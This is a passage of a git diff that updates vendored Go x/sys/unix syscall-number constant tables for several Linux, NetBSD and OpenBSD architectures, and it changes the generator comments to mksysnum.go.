-+ SYS_EVENTFD2 = 4325
-+ SYS_EPOLL_CREATE1 = 4326
-+ SYS_DUP3 = 4327
-+ SYS_PIPE2 = 4328
-+ SYS_INOTIFY_INIT1 = 4329
-+ SYS_PREADV = 4330
-+ SYS_PWRITEV = 4331
-+ SYS_RT_TGSIGQUEUEINFO = 4332
-+ SYS_PERF_EVENT_OPEN = 4333
-+ SYS_ACCEPT4 = 4334
-+ SYS_RECVMMSG = 4335
-+ SYS_FANOTIFY_INIT = 4336
-+ SYS_FANOTIFY_MARK = 4337
-+ SYS_PRLIMIT64 = 4338
-+ SYS_NAME_TO_HANDLE_AT = 4339
-+ SYS_OPEN_BY_HANDLE_AT = 4340
-+ SYS_CLOCK_ADJTIME = 4341
-+ SYS_SYNCFS = 4342
-+ SYS_SENDMMSG = 4343
-+ SYS_SETNS = 4344
-+ SYS_PROCESS_VM_READV = 4345
-+ SYS_PROCESS_VM_WRITEV = 4346
-+ SYS_KCMP = 4347
-+ SYS_FINIT_MODULE = 4348
-+ SYS_SCHED_SETATTR = 4349
-+ SYS_SCHED_GETATTR = 4350
-+ SYS_RENAMEAT2 = 4351
-+ SYS_SECCOMP = 4352
-+ SYS_GETRANDOM = 4353
-+ SYS_MEMFD_CREATE = 4354
-+ SYS_BPF = 4355
-+ SYS_EXECVEAT = 4356
-+ SYS_USERFAULTFD = 4357
-+ SYS_MEMBARRIER = 4358
-+ SYS_MLOCK2 = 4359
-+ SYS_COPY_FILE_RANGE = 4360
-+ SYS_PREADV2 = 4361
-+ SYS_PWRITEV2 = 4362
-+ SYS_PKEY_MPROTECT = 4363
-+ SYS_PKEY_ALLOC = 4364
-+ SYS_PKEY_FREE = 4365
-+ SYS_STATX = 4366
-+ SYS_RSEQ = 4367
-+ SYS_IO_PGETEVENTS = 4368
-+ SYS_SEMGET = 4393
-+ SYS_SEMCTL = 4394
-+ SYS_SHMGET = 4395
-+ SYS_SHMCTL = 4396
-+ SYS_SHMAT = 4397
-+ SYS_SHMDT = 4398
-+ SYS_MSGGET = 4399
-+ SYS_MSGSND = 4400
-+ SYS_MSGRCV = 4401
-+ SYS_MSGCTL = 4402
-+ SYS_CLOCK_GETTIME64 = 4403
-+ SYS_CLOCK_SETTIME64 = 4404
-+ SYS_CLOCK_ADJTIME64 = 4405
-+ SYS_CLOCK_GETRES_TIME64 = 4406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 4407
-+ SYS_TIMER_GETTIME64 = 4408
-+ SYS_TIMER_SETTIME64 = 4409
-+ SYS_TIMERFD_GETTIME64 = 4410
-+ SYS_TIMERFD_SETTIME64 = 4411
-+ SYS_UTIMENSAT_TIME64 = 4412
-+ SYS_PSELECT6_TIME64 = 4413
-+ SYS_PPOLL_TIME64 = 4414
-+ SYS_IO_PGETEVENTS_TIME64 = 4416
-+ SYS_RECVMMSG_TIME64 = 4417
-+ SYS_MQ_TIMEDSEND_TIME64 = 4418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 4419
-+ SYS_SEMTIMEDOP_TIME64 = 4420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 4421
-+ SYS_FUTEX_TIME64 = 4422
-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 4423
-+ SYS_PIDFD_SEND_SIGNAL = 4424
-+ SYS_IO_URING_SETUP = 4425
-+ SYS_IO_URING_ENTER = 4426
-+ SYS_IO_URING_REGISTER = 4427
-+ SYS_OPEN_TREE = 4428
-+ SYS_MOVE_MOUNT = 4429
-+ SYS_FSOPEN = 4430
-+ SYS_FSCONFIG = 4431
-+ SYS_FSMOUNT = 4432
-+ SYS_FSPICK = 4433
-+ SYS_PIDFD_OPEN = 4434
-+ SYS_CLONE3 = 4435
-+ SYS_OPENAT2 = 4437
-+ SYS_PIDFD_GETFD = 4438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go
-index 8944448a..cc3c067b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build ppc64,linux
-@@ -366,4 +366,35 @@ const (
- SYS_PREADV2 = 380
- SYS_PWRITEV2 = 381
- SYS_KEXEC_FILE_LOAD = 382
-+ SYS_STATX = 383
-+ SYS_PKEY_ALLOC = 384
-+ SYS_PKEY_FREE = 385
-+ SYS_PKEY_MPROTECT = 386
-+ SYS_RSEQ = 387
-+ SYS_IO_PGETEVENTS = 388
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go
-index 90a039be..4050ff98 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build ppc64le,linux
-@@ -366,4 +366,35 @@ const (
- SYS_PREADV2 = 380
- SYS_PWRITEV2 = 381
- SYS_KEXEC_FILE_LOAD = 382
-+ SYS_STATX = 383
-+ SYS_PKEY_ALLOC = 384
-+ SYS_PKEY_FREE = 385
-+ SYS_PKEY_MPROTECT = 386
-+ SYS_RSEQ = 387
-+ SYS_IO_PGETEVENTS = 388
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go
-similarity index 92%
-copy from vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-copy to vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go
-index 64078435..529abb6a 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go
-@@ -1,7 +1,7 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build arm64,linux
-+// +build riscv64,linux
-
- package unix
-
-@@ -44,7 +44,6 @@ const (
- SYS_UNLINKAT = 35
- SYS_SYMLINKAT = 36
- SYS_LINKAT = 37
-- SYS_RENAMEAT = 38
- SYS_UMOUNT2 = 39
- SYS_MOUNT = 40
- SYS_PIVOT_ROOT = 41
-@@ -282,4 +281,22 @@ const (
- SYS_PKEY_MPROTECT = 288
- SYS_PKEY_ALLOC = 289
- SYS_PKEY_FREE = 290
-+ SYS_STATX = 291
-+ SYS_IO_PGETEVENTS = 292
-+ SYS_RSEQ = 293
-+ SYS_KEXEC_FILE_LOAD = 294
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go
-index aab0cdb1..27665001 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build s390x,linux
-@@ -109,6 +109,7 @@ const (
- SYS_PERSONALITY = 136
- SYS_AFS_SYSCALL = 137
- SYS_GETDENTS = 141
-+ SYS_SELECT = 142
- SYS_FLOCK = 143
- SYS_MSYNC = 144
- SYS_READV = 145
-@@ -151,6 +152,26 @@ const (
- SYS_GETPMSG = 188
- SYS_PUTPMSG = 189
- SYS_VFORK = 190
-+ SYS_GETRLIMIT = 191
-+ SYS_LCHOWN = 198
-+ SYS_GETUID = 199
-+ SYS_GETGID = 200
-+ SYS_GETEUID = 201
-+ SYS_GETEGID = 202
-+ SYS_SETREUID = 203
-+ SYS_SETREGID = 204
-+ SYS_GETGROUPS = 205
-+ SYS_SETGROUPS = 206
-+ SYS_FCHOWN = 207
-+ SYS_SETRESUID = 208
-+ SYS_GETRESUID = 209
-+ SYS_SETRESGID = 210
-+ SYS_GETRESGID = 211
-+ SYS_CHOWN = 212
-+ SYS_SETUID = 213
-+ SYS_SETGID = 214
-+ SYS_SETFSUID = 215
-+ SYS_SETFSGID = 216
- SYS_PIVOT_ROOT = 217
- SYS_MINCORE = 218
- SYS_MADVISE = 219
-@@ -222,6 +243,7 @@ const (
- SYS_MKNODAT = 290
- SYS_FCHOWNAT = 291
- SYS_FUTIMESAT = 292
-+ SYS_NEWFSTATAT = 293
- SYS_UNLINKAT = 294
- SYS_RENAMEAT = 295
- SYS_LINKAT = 296
-@@ -306,26 +328,38 @@ const (
- SYS_COPY_FILE_RANGE = 375
- SYS_PREADV2 = 376
- SYS_PWRITEV2 = 377
-- SYS_SELECT = 142
-- SYS_GETRLIMIT = 191
-- SYS_LCHOWN = 198
-- SYS_GETUID = 199
-- SYS_GETGID = 200
-- SYS_GETEUID = 201
-- SYS_GETEGID = 202
-- SYS_SETREUID = 203
-- SYS_SETREGID = 204
-- SYS_GETGROUPS = 205
-- SYS_SETGROUPS = 206
-- SYS_FCHOWN = 207
-- SYS_SETRESUID = 208
-- SYS_GETRESUID = 209
-- SYS_SETRESGID = 210
-- SYS_GETRESGID = 211
-- SYS_CHOWN = 212
-- SYS_SETUID = 213
-- SYS_SETGID = 214
-- SYS_SETFSUID = 215
-- SYS_SETFSGID = 216
-- SYS_NEWFSTATAT = 293
-+ SYS_S390_GUARDED_STORAGE = 378
-+ SYS_STATX = 379
-+ SYS_S390_STHYI = 380
-+ SYS_KEXEC_FILE_LOAD = 381
-+ SYS_IO_PGETEVENTS = 382
-+ SYS_RSEQ = 383
-+ SYS_PKEY_MPROTECT = 384
-+ SYS_PKEY_ALLOC = 385
-+ SYS_PKEY_FREE = 386
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go
-index c9c129dc..4dc82bb2 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go
-@@ -1,5 +1,5 @@
--// mksysnum_linux.pl -Ilinux/usr/include -m64 -D__arch64__ linux/usr/include/asm/unistd.h
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build sparc64,linux
-
-@@ -253,6 +253,7 @@ const (
- SYS_TIMER_GETOVERRUN = 264
- SYS_TIMER_DELETE = 265
- SYS_TIMER_CREATE = 266
-+ SYS_VSERVER = 267
- SYS_IO_SETUP = 268
- SYS_IO_DESTROY = 269
- SYS_IO_SUBMIT = 270
-@@ -345,4 +346,34 @@ const (
- SYS_COPY_FILE_RANGE = 357
- SYS_PREADV2 = 358
- SYS_PWRITEV2 = 359
-+ SYS_STATX = 360
-+ SYS_IO_PGETEVENTS = 361
-+ SYS_PKEY_MPROTECT = 362
-+ SYS_PKEY_ALLOC = 363
-+ SYS_PKEY_FREE = 364
-+ SYS_RSEQ = 365
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-index 8afda9c4..e66a8c9d 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-@@ -1,5 +1,5 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,netbsd
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go
-index aea8dbec..42c788f2 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go
-@@ -1,5 +1,5 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,netbsd
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go
-index c6158a7e..0a075717 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go
-@@ -1,5 +1,5 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,netbsd
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm64.go
-similarity index 99%
-copy from vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-copy to vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm64.go
-index 8afda9c4..0291c093 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; DO NOT EDIT.
-
--// +build 386,netbsd
-+// +build arm64,netbsd
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go
-index 3e8ce2a1..b0207d1c 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go
-@@ -1,5 +1,5 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,openbsd
-
-@@ -9,109 +9,119 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-- SYS_ACCESS = 33 // { int sys_access(const char *path, int flags); }
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
- SYS_SYNC = 36 // { void sys_sync(void); }
-- SYS_KILL = 37 // { int sys_kill(int pid, int signum); }
- SYS_STAT = 38 // { int sys_stat(const char *path, struct stat *ub); }
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { int sys_readlink(const char *path, char *buf, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
-- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, int pgid); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
